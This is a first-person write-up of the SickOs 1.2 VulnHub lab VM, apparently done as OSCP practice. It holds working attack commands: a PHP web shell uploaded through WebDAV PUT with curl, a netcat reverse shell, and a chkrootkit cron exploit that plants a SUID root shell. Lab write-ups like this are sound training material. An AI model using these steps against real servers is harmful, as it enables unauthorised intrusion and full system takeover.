SickOs: 1.2 Write-Up

October 26, 2017
Security
Pentesting
Vulnhub

To prepare for OSCP¹ I’m planning to do a whole bunch of VulnHub VMs and other challenges. Doing these VMs and creating write-ups should give a good amount of practice before I start with the actual PWK¹ course.

SickOs: 1.2

I have not done the first version of SickOS, but a colleague of mine recommended this one².

Setup

I’m using VMware with two VMs: Kali 2017.1 and SickOs: 1.2.

Scanning & Enumeration

After finding the IP of the kioptrix VM it’s possible to perform the usual Nmap scan to get a quick overview of what is running on the VM.

root@vm-kali:~# nmap -T4 -sV 192.168.181.143

Starting Nmap 7.40 ( https://nmap.org ) at 2017-09-28 17:05 MDT
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 71.40% done; ETC: 17:07 (0:00:26 remaining)
Nmap scan report for nmap (75.126.101.253)
Host is up (0.26s latency).
rDNS record for 75.126.101.253: fd.65.7e4b.ip4.static.sl-reverse.com
Not shown: 968 filtered ports, 31 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx

Nmap scan report for 192.168.181.143
Host is up (0.00025s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 00:0C:29:FD:70:2A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 148.22 seconds

Web Vulnerability

There isn’t that much to do on this system, but it had to be something web related. After quite a bit of testing and running some scans, something finally caught my eye when looking at what kind of HTTP OPTIONS were allowed on a directory found by dirbuster.

Dirbuster scan:

root@vm-kali:~# dirb http://192.168.181.143

--snip--

GENERATED WORDS: 4612 
 
---- Scanning URL: http://192.168.181.143/ ----
+ http://192.168.181.143/index.php (CODE:200|SIZE:163) 
==> DIRECTORY: http://192.168.181.143/test/  

---- Entering directory: http://192.168.181.143/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)
    
--snip--

Checking for HTTP OPTIONS can be done in multiple ways. Nikto didn’t show them when I used it, but it’s also very easy to find via Firefox (Figure 1) or CURL. The main option to look for in this case is the PUT option as this gives the ability to potentially upload files to the target which can be used to create a reverse shell.

Fig 1. (updated)Screenshot of HTTP OPTIONS

Retrieving the HTTP OPTIONS via curl:

root@vm-kali:~# curl -v -X OPTIONS http://192.168.181.143/test/
*   Trying 192.168.181.143...
* TCP_NODELAY set
* Connected to 192.168.181.143 (192.168.181.143) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.181.143
> User-Agent: curl/7.57.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Sun, 18 Feb 2018 02:00:02 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 192.168.181.143 left intact

Reverse Shell

With the previously found upload functionality it’s possible to upload a shell. For example a very basic php shell, or a bit more advanced reverse shell.

root@vm-kali:~# curl -X PUT -d "<?php system(\$_GET['c']); ?>" http://192.168.181.143/test/shell.php
root@vm-kali:~# curl -X PUT -d @"test.php" http://192.168.181.143/test/shell_parameters.php

To get a reverse shell I grabbed the usual PHP shell, but there were issues to get the connection between the target and the kali machine. It seemed as if the port I was using was blocked for out going traffic. To make it easier to play around with this, I modified the PHP shell so I could easily change the IP and PORT number via GET parameters. After a bit of trial and error I got a connection with port 443 (SSL).

http://192.168.181.143/test/shell_parameters.php?ip=192.168.181.144&port=443

root@kali:~# nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.181.144] from (UNKNOWN) [192.168.181.143] 46297
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 15:08:43 up  8:14,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

With the reverse shell working it was easy to look around on the target system for hints to elevate our privileges. When looking through /var/log/syslog one line caught my eye:

Oct 12 13:51:01 ubuntu CRON[13309]: (root) CMD (/usr/sbin/chkrootkit)

This made me look at the cron jobs and more specifically at chkrootkit, and if there were any vulnerabilities for this software.

$ ls -al /etc/cron*
-rw-r--r-- 1 root root  722 Jun 19  2012 /etc/crontab

--snip--

-rwxr-xr-x  1 root root   502 Mar 31  2012 bsdmainutils
-rwxr-xr-x  1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x  1 root root   256 Oct 14  2013 dpkg

--snip--

Searchsploit results for chkrootkit that indicate that there is a potential for privilege escalation:

root@vm-kali:~# searchsploit chkrootkit
------------------------------------------- ----------------------------------
 Exploit Title                             |  Path
                                           | (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------
Chkrootkit - Local Privilege Escalation (M | exploits/linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalati | exploits/linux/local/33899.txt
------------------------------------------- ----------------------------------

To verify if the target had the vulnerable chkrootkit installed I took a look at the exploit³ description and the script itself. And yes, it was the vulnerable version:

$ grep slapper /usr/sbin/chkrootkit
TOOLS="aliens asp bindshell lkm rexedcs sniffer w55808 wted scalper slapper z2 chkutmp OSX_RSPLUG"
slapper (){
$ grep file_port /usr/sbin/chkrootkit
   file_port=
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
	 file_port=$file_port $i
      echo "Warning: Possible Slapper Worm installed ($file_port)"

With the help of the exploit description and a bit of trial and error the following solution helped gain root privileges:

$ echo "#!/bin/sh" >> update
$ echo "cp /bin/sh /tmp/sh" >> update
$ echo "chmod u+s /tmp/sh" >> update
$ echo "rm /tmp/update" >> update
$ chmod +x update


$ ls -al
total 124
drwxrwxrwt  4 root     root       4096 Oct 17 13:42 .
drwxr-xr-x 22 root     root       4096 Mar 30  2016 ..
drwxrwxrwt  2 root     root       4096 Oct  5 16:02 VMwareDnD
srwxr-xr-x  1 www-data www-data      0 Oct  5 16:02 php.socket-0
-rwsr-xr-x  1 root     root     100284 Oct 17 13:40 sh
-rwxrwxrwx  1 root     root        810 Oct 17 13:26 shadow_tmp
-rw-r--r--  1 root     root       1600 Oct  5 16:02 vgauthsvclog.txt.0
drwx------  2 root     root       4096 Oct  5 16:02 vmware-root
$ /tmp/sh
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
ls /root
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

Additional Notes / Lessons Learned

SickOS 1.2 is a good boot2root VM to play around with. A couple of personal lessons learned are:

I should read a bit better and improve my note taking;
Nikto does not necessarily show the HTTP OPTIONS;
It definitely gave more good practice with SUID and root cron jobs.